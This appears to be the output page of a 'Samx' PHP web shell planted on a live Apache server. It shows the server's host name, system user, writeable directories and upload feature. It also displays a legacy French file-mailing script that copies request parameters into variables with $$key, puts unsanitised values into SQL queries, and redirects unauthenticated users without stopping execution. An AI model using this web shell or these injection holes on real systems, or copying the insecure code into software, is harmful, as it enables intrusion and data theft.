Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /home/pragmatice/aftrn/banque_HS/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/pragmatice/aftrn/banque_HS/f_send.php
<?php
session_start();
/***************************************************************************
 *
 *   date                 : Septembre 2002
 *   copyright            : (c) 2002 B&eacute;atrice Arnou
 *   email                : bea@cartables.net
 *
 *   Tout usage de ces scripts doit faire l'objet d'une demande d'autorisation 
 *   et ces mentions ne doivent pas &ecirc;tre retir&eacute;es ou modifi&eacute;es.
 *
 ***************************************************************************/

define(IN_AFT, true);

require "lib.php";
require "attachfile.inc.php";

if (isset($_SESSION['infos'])) {
  extract($_SESSION['infos']);
}
else
{
  Header("Location:login.php\n\n");
}
hautpage();

// R&eacute;cup&eacute;ration des variables
while (list($key, $val) = each($_GET))  {$$key=$val;}

$result=mysqli_query($conx,"select fichiers.*, users.userid, users.usernom as username, users.useremail as useremail from fichiers, users where categorie='$idcat' and nomcourt='$f' and users.userid = fichiers.user");
if (!mysqli_num_rows($result)) {
  erreur("Fichier non trouv&eacute; !","Retour","javascript:history.back()",EMAIL_CONTACT,SUJET_CONTACT);
}
if (!file_exists(FICHIERS."/$dir/$f")) {
  erreur("Fichier non trouv&eacute; !","Retour","javascript:history.back()",EMAIL_CONTACT,SUJET_CONTACT);
}

$row  = mysqli_fetch_array($result);
extract($row);
$downloads++;

$texte  = "Vous trouverez ci-joint le fichier demand�.\r\n\r\n";
$texte .= "----\r\n";
$texte .= "Nom du fichier : $nomcourt\r\n";
$texte .= "Exp�diteur : $username <$useremail>\r\n";
$texte .= "Description : $description\r\n";
$texte .= "----\r\n\r\n";
$texte .= "Cordialement,\r\n";
$texte .= "L'�quipe de ".NOMDUSITECOURT."\r\n";

$res      = mysqli_query($conx,"update fichiers set downloads='$downloads' where idfile = '$idfile'");

$res = attachfile(" \"$Sessusernom\" <$Sessuseremail>", "[".NOMDUSITECOURT."] Envoi du fichier $f",$texte, FICHIERS."/$dir/$f", mime_type($f) , $f, EMAIL_CONTACT, EMAIL_CONTACT); 

ok("Le fichier << $f >> vient de vous &ecirc;tre envoy&eacute;.<br>V&eacute;rifiez votre bo&icirc;te aux lettres, il devrait arriver sous peu.","Retour","javascript:history.back()");

baspage();
?>

SAMX